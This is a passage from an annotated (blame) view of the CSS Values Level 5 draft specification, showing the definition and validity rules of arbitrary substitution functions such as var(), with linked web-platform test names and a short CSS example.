[css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l2769" id="l2769"> 2769</a> </td> <td class="source"> An <dfn export>arbitrary substitution function</dfn> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/bfa059e08b64/css-values-5/Overview.bs#l2615" title="bfa059e08b64: [css-values-5] Clean up Arbitrary Substitution Function prose">fantasai@31731</a> </td> <td class="lineno"> <a href="#l2770" id="l2770"> 2770</a> </td> <td class="source"> is a [=functional notation=] that will, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2620" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l2771" id="l2771"> 2771</a> </td> <td class="source"> when resolved, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/bfa059e08b64/css-values-5/Overview.bs#l2617" title="bfa059e08b64: [css-values-5] Clean up Arbitrary Substitution Function prose">fantasai@31731</a> </td> <td class="lineno"> <a href="#l2772" id="l2772"> 2772</a> </td> <td class="source"> substitute itself with other values </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/bfa059e08b64/css-values-5/Overview.bs#l2618" title="bfa059e08b64: [css-values-5] Clean up Arbitrary Substitution Function prose">fantasai@31731</a> </td> <td class="lineno"> <a href="#l2773" id="l2773"> 2773</a> </td> <td class="source"> that are potentially unknowable at parse time-- </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/bfa059e08b64/css-values-5/Overview.bs#l2619" title="bfa059e08b64: [css-values-5] Clean up Arbitrary Substitution Function prose">fantasai@31731</a> </td> <td class="lineno"> <a href="#l2774" id="l2774"> 2774</a> </td> <td class="source"> and must therefore be parsed while resolving its [=computed value=]. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/bfa059e08b64/css-values-5/Overview.bs#l2620" title="bfa059e08b64: [css-values-5] Clean up Arbitrary Substitution Function prose">fantasai@31731</a> </td> <td class="lineno"> <a href="#l2775" id="l2775"> 2775</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/bfa059e08b64/css-values-5/Overview.bs#l2621" title="bfa059e08b64: [css-values-5] Clean up Arbitrary Substitution Function prose">fantasai@31731</a> </td> <td class="lineno"> <a href="#l2776" id="l2776"> 2776</a> </td> <td class="source"> Note: Since [=arbitrary substitution functions=] resolve at [=computed value=] time, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/bfa059e08b64/css-values-5/Overview.bs#l2622" title="bfa059e08b64: [css-values-5] Clean up Arbitrary Substitution Function prose">fantasai@31731</a> </td> <td class="lineno"> <a href="#l2777" id="l2777"> 2777</a> </td> <td class="source"> if the resulting value after substitution is invalid, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/bfa059e08b64/css-values-5/Overview.bs#l2623" title="bfa059e08b64: [css-values-5] Clean up Arbitrary Substitution Function prose">fantasai@31731</a> </td> <td class="lineno"> <a href="#l2778" id="l2778"> 2778</a> </td> <td class="source"> the property falls back (essentially) to ''unset'' behavior, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/bfa059e08b64/css-values-5/Overview.bs#l2624" title="bfa059e08b64: [css-values-5] Clean up Arbitrary Substitution Function prose">fantasai@31731</a> </td> <td class="lineno"> <a href="#l2779" id="l2779"> 2779</a> </td> <td class="source"> rather than falling back to an earlier value in the [=cascade=] </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/bfa059e08b64/css-values-5/Overview.bs#l2625" title="bfa059e08b64: [css-values-5] Clean up Arbitrary Substitution Function prose">fantasai@31731</a> </td> <td class="lineno"> <a href="#l2780" id="l2780"> 2780</a> </td> <td class="source"> the way declarations invalid at parse time do. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/bfa059e08b64/css-values-5/Overview.bs#l2626" title="bfa059e08b64: [css-values-5] Clean up Arbitrary Substitution Function prose">fantasai@31731</a> </td> <td class="lineno"> <a href="#l2781" id="l2781"> 2781</a> </td> <td class="source"> See [[#invalid-substitution]]. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/bfa059e08b64/css-values-5/Overview.bs#l2627" title="bfa059e08b64: [css-values-5] Clean up Arbitrary Substitution Function prose">fantasai@31731</a> </td> <td class="lineno"> <a href="#l2782" id="l2782"> 2782</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/bfa059e08b64/css-values-5/Overview.bs#l2628" title="bfa059e08b64: [css-values-5] Clean up Arbitrary Substitution Function prose">fantasai@31731</a> </td> <td class="lineno"> <a href="#l2783" id="l2783"> 2783</a> </td> <td class="source"> Unless otherwise specified, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/bfa059e08b64/css-values-5/Overview.bs#l2629" title="bfa059e08b64: [css-values-5] Clean up Arbitrary Substitution Function prose">fantasai@31731</a> </td> <td class="lineno"> <a href="#l2784" id="l2784"> 2784</a> </td> <td class="source"> [=arbitrary substitution functions=] can be used </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/bfa059e08b64/css-values-5/Overview.bs#l2630" title="bfa059e08b64: [css-values-5] Clean up Arbitrary Substitution Function prose">fantasai@31731</a> </td> <td class="lineno"> <a href="#l2785" id="l2785"> 2785</a> </td> <td class="source"> in place of any part of any property's value </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/bfa059e08b64/css-values-5/Overview.bs#l2631" title="bfa059e08b64: [css-values-5] Clean up Arbitrary Substitution Function prose">fantasai@31731</a> </td> <td class="lineno"> <a href="#l2786" id="l2786"> 2786</a> </td> <td class="source"> (including within other [=functional notations=]); </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/bfa059e08b64/css-values-5/Overview.bs#l2632" title="bfa059e08b64: [css-values-5] Clean up Arbitrary Substitution Function prose">fantasai@31731</a> </td> <td class="lineno"> <a href="#l2787" id="l2787"> 2787</a> </td> <td class="source"> and are not valid in any other context. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/bfa059e08b64/css-values-5/Overview.bs#l2633" title="bfa059e08b64: [css-values-5] Clean up Arbitrary Substitution Function prose">fantasai@31731</a> </td> <td class="lineno"> <a href="#l2788" id="l2788"> 2788</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/bfa059e08b64/css-values-5/Overview.bs#l2634" title="bfa059e08b64: [css-values-5] Clean up Arbitrary Substitution Function prose">fantasai@31731</a> </td> <td class="lineno"> <a href="#l2789" id="l2789"> 2789</a> </td> <td class="source"> ISSUE: Should any of these functions be valid in contexts outside of properties? </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/bfa059e08b64/css-values-5/Overview.bs#l2635" title="bfa059e08b64: [css-values-5] Clean up Arbitrary Substitution Function prose">fantasai@31731</a> </td> <td class="lineno"> <a href="#l2790" id="l2790"> 2790</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/bfa059e08b64/css-values-5/Overview.bs#l2636" title="bfa059e08b64: [css-values-5] Clean up Arbitrary Substitution Function prose">fantasai@31731</a> </td> <td class="lineno"> <a href="#l2791" id="l2791"> 2791</a> </td> <td class="source"> <wpt pathprefix="css/css-variables"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2637" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l2792" id="l2792"> 2792</a> </td> <td class="source"> variable-external-font-face-01.html </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2638" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l2793" id="l2793"> 2793</a> </td> <td class="source"> variable-font-face-01.html </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2639" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l2794" id="l2794"> 2794</a> </td> <td class="source"> variable-font-face-02.html </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2640" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l2795" id="l2795"> 2795</a> </td> <td class="source"> </wpt> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2641" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l2796" id="l2796"> 2796</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2642" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l2797" id="l2797"> 2797</a> </td> <td class="source"> <div class='example'> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2643" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l2798" id="l2798"> 2798</a> </td> <td class="source"> For example, the following code incorrectly attempts to use a variable as a property name: </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2644" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l2799" id="l2799"> 2799</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2645" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l2800" id="l2800"> 2800</a> </td> <td class="source"> <pre> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2646" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l2801" id="l2801"> 2801</a> </td> <td class="source"> .foo { </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2647" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l2802" id="l2802"> 2802</a> </td> <td class="source"> --side: margin-top; </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2648" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l2803" id="l2803"> 2803</a> </td> <td class="source"> var(--side): 20px; </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2649" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l2804" id="l2804"> 2804</a> </td> <td class="source"> } </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2650" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l2805" id="l2805"> 2805</a> </td> <td class="source"> </pre> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2651" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l2806" id="l2806"> 2806</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2652" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l2807" id="l2807"> 2807</a> </td> <td class="source"> This is <em>not</em> equivalent to setting ''margin-top: 20px;''. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2653" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l2808" id="l2808"> 2808</a> </td> <td class="source"> Instead, the second declaration is simply thrown away as a syntax error </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2654" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l2809" id="l2809"> 2809</a> </td> <td class="source"> for having an invalid property name. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2655" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l2810" id="l2810"> 2810</a> </td> <td class="source"> </div> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2656" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l2811" id="l2811"> 2811</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/bfa059e08b64/css-values-5/Overview.bs#l2657" title="bfa059e08b64: [css-values-5] Clean up Arbitrary Substitution Function prose">fantasai@31731</a> </td> <td class="lineno"> <a href="#l2812" id="l2812"> 2812</a> </td> <td class="source"> If a property value contains one or more [=arbitrary substitution functions=], </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/bfa059e08b64/css-values-5/Overview.bs#l2658" title="bfa059e08b64: [css-values-5] Clean up Arbitrary Substitution Function prose">fantasai@31731</a> </td> <td class="lineno"> <a href="#l2813" id="l2813"> 2813</a> </td> <td class="source"> and those functions are themselves syntactically valid, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/bfa059e08b64/css-values-5/Overview.bs#l2659" title="bfa059e08b64: [css-values-5] Clean up Arbitrary Substitution Function prose">fantasai@31731</a> </td> <td class="lineno"> <a href="#l2814" id="l2814"> 2814</a> </td> <td class="source"> the entire value's grammar must be assumed to be valid at parse time. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2662" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l2815" id="l2815"> 2815</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/bfa059e08b64/css-values-5/Overview.bs#l2663" title="bfa059e08b64: [css-values-5] Clean up Arbitrary Substitution Function prose">fantasai@31731</a> </td> <td class="lineno"> <a href="#l2816" id="l2816"> 2816</a> </td> <td class="source"> <wpt pathprefix="css/css-variables"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2664" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l2817" id="l2817"> 2817</a> </td> <td class="source"> variable-reference-18.html </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2665" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l2818" id="l2818"> 2818</a> </td> <td class="source"> variable-reference-19.html </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2666" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l2819" id="l2819"> 2819</a> </td> <td class="source"> variable-reference-30.html </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2667" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l2820" id="l2820"> 2820</a> </td> <td class="source"> </wpt> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2668" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l2821" id="l2821"> 2821</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/d1bdb1a78d30/css-values-5/Overview.bs#l2667" title="d1bdb1a78d30: [css-values-5] Reorder text in arbitrary substitution section">fantasai@31732</a> </td> <td class="lineno"> <a href="#l2822" id="l2822"> 2822</a> </td> <td class="source"> [=Arbitrary substitution functions=] are [=substituted=] </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/d1bdb1a78d30/css-values-5/Overview.bs#l2668" title="d1bdb1a78d30: [css-values-5] Reorder text in arbitrary substitution section">fantasai@31732</a> </td> <td class="lineno"> <a href="#l2823" id="l2823"> 2823</a> </td> <td class="source"> during style [=computed value|computation=], </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/d1bdb1a78d30/css-values-5/Overview.bs#l2669" title="d1bdb1a78d30: [css-values-5] Reorder text in arbitrary substitution section">fantasai@31732</a> </td> <td class="lineno"> <a href="#l2824" id="l2824"> 2824</a> </td> <td class="source"> before any other value transformations or introspection can occur. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/d1bdb1a78d30/css-values-5/Overview.bs#l2670" title="d1bdb1a78d30: [css-values-5] Reorder text in arbitrary substitution section">fantasai@31732</a> </td> <td class="lineno"> <a href="#l2825" id="l2825"> 2825</a> </td> <td class="source"> If a property, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/d1bdb1a78d30/css-values-5/Overview.bs#l2671" title="d1bdb1a78d30: [css-values-5] Reorder text in arbitrary substitution section">fantasai@31732</a> </td> <td class="lineno"> <a href="#l2826" id="l2826"> 2826</a> </td> <td class="source"> after [=substitution=], </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/d1bdb1a78d30/css-values-5/Overview.bs#l2672" title="d1bdb1a78d30: [css-values-5] Reorder text in arbitrary substitution section">fantasai@31732</a> </td> <td class="lineno"> <a href="#l2827" id="l2827"> 2827</a> </td> <td class="source"> does not match its declared grammar, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/d1bdb1a78d30/css-values-5/Overview.bs#l2673" title="d1bdb1a78d30: [css-values-5] Reorder text in arbitrary substitution section">fantasai@31732</a> </td> <td class="lineno"> <a href="#l2828" id="l2828"> 2828</a> </td> <td class="source"> the declaration is [=invalid at computed-value time=]. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/d1bdb1a78d30/css-values-5/Overview.bs#l2674" title="d1bdb1a78d30: [css-values-5] Reorder text in arbitrary substitution section">fantasai@31732</a> </td> <td class="lineno"> <a href="#l2829" id="l2829"> 2829</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/d1bdb1a78d30/css-values-5/Overview.bs#l2675" title="d1bdb1a78d30: [css-values-5] Reorder text in arbitrary substitution section">fantasai@31732</a> </td> <td class="lineno"> <a href="#l2830" id="l2830"> 2830</a> </td> <td class="source"> <wpt pathprefix="css/css-variables"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/d1bdb1a78d30/css-values-5/Overview.bs#l2676" title="d1bdb1a78d30: [css-values-5] Reorder text in arbitrary substitution section">fantasai@31732</a> </td> <td class="lineno"> <a href="#l2831" id="l2831"> 2831</a> </td> <td class="source"> variable-declaration-16.html </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/d1bdb1a78d30/css-values-5/Overview.bs#l2677" title="d1bdb1a78d30: [css-values-5] Reorder text in arbitrary substitution section">fantasai@31732</a> </td> <td class="lineno"> <a href="#l2832" id="l2832"> 2832</a> </td> <td class="source"> variable-declaration-17.html </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/d1bdb1a78d30/css-values-5/Overview.bs#l2678" title="d1bdb1a78d30: [css-values-5] Reorder text in arbitrary substitution section">fantasai@31732</a> </td> <td class="lineno"> <a href="#l2833" id="l2833"> 2833</a> </td> <td class="source"> variable-declaration-18.html </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/d1bdb1a78d30/css-values-5/Overview.bs#l2679" title="d1bdb1a78d30: [css-values-5] Reorder text in arbitrary substitution section">fantasai@31732</a> </td> <td class="lineno"> <a href="#l2834" id="l2834"> 2834</a> </td> <td class="source"> variable-declaration-19.html </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/d1bdb1a78d30/css-values-5/Overview.bs#l2680" title="d1bdb1a78d30: [css-values-5] Reorder text in arbitrary substitution section">fantasai@31732</a> </td> <td class="lineno"> <a href="#l2835" id="l2835"> 2835</a> </td> <td class="source"> variable-declaration-21.html </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/d1bdb1a78d30/css-values-5/Overview.bs#l2681" title="d1bdb1a78d30: [css-values-5] Reorder text in arbitrary substitution section">fantasai@31732</a> </td> <td class="lineno"> <a href="#l2836" id="l2836"> 2836</a> </td> <td class="source"> variable-transitions-transition-property-all-before-value.html </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/d1bdb1a78d30/css-values-5/Overview.bs#l2682" title="d1bdb1a78d30: [css-values-5] Reorder text in arbitrary substitution section">fantasai@31732</a> </td> <td class="lineno"> <a href="#l2837" id="l2837"> 2837</a> </td> <td class="source"> variable-transitions-value-before-transition-property-all.html </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/d1bdb1a78d30/css-values-5/Overview.bs#l2683" title="d1bdb1a78d30: [css-values-5] Reorder text in arbitrary substitution section">fantasai@31732</a> </td> <td class="lineno"> <a href="#l2838" id="l2838"> 2838</a> </td> <td class="source"> </wpt> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/d1bdb1a78d30/css-values-5/Overview.bs#l2684" title="d1bdb1a78d30: [css-values-5] Reorder text in arbitrary substitution section">fantasai@31732</a> </td> <td class="lineno"> <a href="#l2839" id="l2839"> 2839</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/d1bdb1a78d30/css-values-5/Overview.bs#l2685" title="d1bdb1a78d30: [css-values-5] Reorder text in arbitrary substitution section">fantasai@31732</a> </td> <td class="lineno"> <a href="#l2840" id="l2840"> 2840</a> </td> <td class="source"> If a property value, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/d1bdb1a78d30/css-values-5/Overview.bs#l2686" title="d1bdb1a78d30: [css-values-5] Reorder text in arbitrary substitution section">fantasai@31732</a> </td> <td class="lineno"> <a href="#l2841" id="l2841"> 2841</a> </td> <td class="source"> after [=substitution=], </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/d1bdb1a78d30/css-values-5/Overview.bs#l2687" title="d1bdb1a78d30: [css-values-5] Reorder text in arbitrary substitution section">fantasai@31732</a> </td> <td class="lineno"> <a href="#l2842" id="l2842"> 2842</a> </td> <td class="source"> contains only a single [=CSS-wide keyword=] </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/d1bdb1a78d30/css-values-5/Overview.bs#l2688" title="d1bdb1a78d30: [css-values-5] Reorder text in arbitrary substitution section">fantasai@31732</a> </td> <td class="lineno"> <a href="#l2843" id="l2843"> 2843</a> </td> <td class="source"> (and possibly whitespace/comments), </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/d1bdb1a78d30/css-values-5/Overview.bs#l2689" title="d1bdb1a78d30: [css-values-5] Reorder text in arbitrary substitution section">fantasai@31732</a> </td> <td class="lineno"> <a href="#l2844" id="l2844"> 2844</a> </td> <td class="source"> its value is determined as if that keyword were its [=specified value=] all along. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/d1bdb1a78d30/css-values-5/Overview.bs#l2690" title="d1bdb1a78d30: [css-values-5] Reorder text in arbitrary substitution section">fantasai@31732</a> </td> <td class="lineno"> <a href="#l2845" id="l2845"> 2845</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/d1bdb1a78d30/css-values-5/Overview.bs#l2691" title="d1bdb1a78d30: [css-values-5] Reorder text in arbitrary substitution section">fantasai@31732</a> </td> <td class="lineno"> <a href="#l2846" id="l2846"> 2846</a> </td> <td class="source"> <wpt pathprefix="css/css-variables"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/d1bdb1a78d30/css-values-5/Overview.bs#l2692" title="d1bdb1a78d30: [css-values-5] Reorder text in arbitrary substitution section">fantasai@31732</a> </td> <td class="lineno"> <a href="#l2847" id="l2847"> 2847</a> </td> <td class="source"> whitespace-in-fallback-crash.html </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/d1bdb1a78d30/css-values-5/Overview.bs#l2693" title="d1bdb1a78d30: [css-values-5] Reorder text in arbitrary substitution section">fantasai@31732</a> </td> <td class="lineno"> <a href="#l2848" id="l2848"> 2848</a> </td> <td class="source"> wide-keyword-fallback-001.html </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/d1bdb1a78d30/css-values-5/Overview.bs#l2694" title="d1bdb1a78d30: [css-values-5] Reorder text in arbitrary substitution section">fantasai@31732</a> </td> <td class="lineno"> <a href="#l2849" id="l2849"> 2849</a> </td> <td class="source"> wide-keyword-fallback-002.html </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/d1bdb1a78d30/css-values-5/Overview.bs#l2695" title="d1bdb1a78d30: [css-values-5] Reorder text in arbitrary substitution section">fantasai@31732</a> </td> <td class="lineno"> <a href="#l2850" id="l2850"> 2850</a> </td> <td class="source"> </wpt> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/d1bdb1a78d30/css-values-5/Overview.bs#l2696" title="d1bdb1a78d30: [css-values-5] Reorder text in arbitrary substitution section">fantasai@31732</a> </td> <td class="lineno"> <a href="#l2851" id="l2851"> 2851</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/d1bdb1a78d30/css-values-5/Overview.bs#l2697" title="d1bdb1a78d30: [css-values-5] Reorder text in arbitrary substitution section">fantasai@31732</a> </td> <td class="lineno"> <a href="#l2852" id="l2852"> 2852</a> </td> <td class="source"> <div class='example'> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/d1bdb1a78d30/css-values-5/Overview.bs#l2698" title="d1bdb1a78d30: [css-values-5] Reorder text in arbitrary substitution section">fantasai@31732</a> </td> <td class="lineno"> <a href="#l2853" id="l2853"> 2853</a> </td> <td class="source"> For example, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/d1bdb1a78d30/css-values-5/Overview.bs#l2699" title="d1bdb1a78d30: [css-values-5] Reorder text in arbitrary substitution section">fantasai@31732</a> </td> <td class="lineno"> <a href="#l2854" id="l2854"> 2854</a> </td> <td class="source"> the following usage is fine from a syntax standpoint, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/d1bdb1a78d30/css-values-5/Overview.bs#l2700" title="d1bdb1a78d30: [css-values-5] Reorder text in arbitrary substitution section">fantasai@31732</a> </td> <td class="lineno"> <a href="#l2855" id="l2855"> 2855</a> </td> <td class="source"> but results in nonsense when the variable is substituted in: </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/d1bdb1a78d30/css-values-5/Overview.bs#l2701" title="d1bdb1a78d30: [css-values-5] Reorder text in arbitrary 